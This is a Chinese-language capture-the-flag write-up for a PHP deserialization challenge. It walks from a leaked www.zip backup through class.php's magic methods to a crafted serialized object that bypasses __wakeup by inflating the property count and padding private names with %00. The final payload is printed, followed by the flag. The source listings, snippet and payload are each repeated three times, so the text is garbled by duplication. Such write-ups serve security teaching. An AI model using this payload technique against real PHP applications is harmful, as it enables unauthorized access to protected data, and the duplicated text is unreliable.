[极客大挑战 2019]PHP

因为每次猫猫都在我键盘上乱跳，所以我有一个良好的备份网站的习惯 不愧是我！！！

这不就是文件扫描，dirb什么的都可以，经过一番测试，备份文件名为www.zip

直接在url后面输入www.zip,可以获取到网站的备份，打开以后可以看到有三个php,一个个看过去

下载下来的flag.php里的flag显然不是正确答案。继续看。重点是class.php,可以看到php的魔术方法，应该存在php反序列化漏洞.

##flag.php
<?php
$flag = \'Syc{dog_dog_dog_dog}\';
?>
##flag.php

<?php
$flag = \'Syc{dog_dog_dog_dog}\';
?>
##flag.php

<?php
$flag = \'Syc{dog_dog_dog_dog}\';
?>

## class.php
<?php
include \'flag.php\';
error_reporting(0);
class Name{
    private $username = \'nonono\';
    private $password = \'yesyes\';
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function __wakeup(){
        $this->username = \'guest\';
    }
    function __destruct(){
        if ($this->password != 100) {
            echo \"</br>NO!!!hacker!!!</br>\";
            echo \"You name is: \";
            echo $this->username;echo \"</br>\";
            echo \"You password is: \";
            echo $this->password;echo \"</br>\";
            die();
        }
        if ($this->username === \'admin\') {
            global $flag;
            echo $flag;
        }else{
            echo \"</br>hello my friend~~</br>sorry i can\'t give you the flag!\";
            die();
            
        }
    }
}
$a= new Name(\'admin\',100);
$b= serialize($a);
var_dump($b);
?>
## class.php

<?php
include \'flag.php\';


error_reporting(0);


class Name{
    private $username = \'nonono\';
    private $password = \'yesyes\';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = \'guest\';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo \"</br>NO!!!hacker!!!</br>\";
            echo \"You name is: \";
            echo $this->username;echo \"</br>\";
            echo \"You password is: \";
            echo $this->password;echo \"</br>\";
            die();
        }
        if ($this->username === \'admin\') {
            global $flag;
            echo $flag;
        }else{
            echo \"</br>hello my friend~~</br>sorry i can\'t give you the flag!\";
            die();

            
        }
    }
}
$a= new Name(\'admin\',100);
$b= serialize($a);
var_dump($b);
?>
## class.php

<?php
include \'flag.php\';


error_reporting(0);


class Name{
    private $username = \'nonono\';
    private $password = \'yesyes\';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = \'guest\';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo \"</br>NO!!!hacker!!!</br>\";
            echo \"You name is: \";
            echo $this->username;echo \"</br>\";
            echo \"You password is: \";
            echo $this->password;echo \"</br>\";
            die();
        }
        if ($this->username === \'admin\') {
            global $flag;
            echo $flag;
        }else{
            echo \"</br>hello my friend~~</br>sorry i can\'t give you the flag!\";
            die();

            
        }
    }
}
$a= new Name(\'admin\',100);
$b= serialize($a);
var_dump($b);
?>

index.php ，会调用class.php，以及对输入反序列化,而反序列化后调用_wakeup会直接覆盖输入的用户名。一个简单的办法是直接在class下面创建一个对象然后序列化。

$a= new Name(\'admin\',100);
$b= serialize($a);
var_dump($b);
$a= new Name(\'admin\',100);
$b= serialize($a);
var_dump($b);
$a= new Name(\'admin\',100);
$b= serialize($a);
var_dump($b);

然后因为要绕过wakeup,把Name后的数字改成3.因为username和password是私有变量，变量中的类名前后会有空白符，而复制的时候会丢失，所以要加上%00
最后payload:

O:4:\"Name\":3:{s:14:\"%00Name%00username\";s:5:\"admin\";s:14:\"%00Name%00password\";i:100;}
O:4:\"Name\":3:{s:14:\"%00Name%00username\";s:5:\"admin\";s:14:\"%00Name%00password\";i:100;}
O:4:\"Name\":3:{s:14:\"%00Name%00username\";s:5:\"admin\";s:14:\"%00Name%00password\";i:100;}

提交得到flag为flag{a2b4de76-c0d9-40fe-be16-46f06741eeea}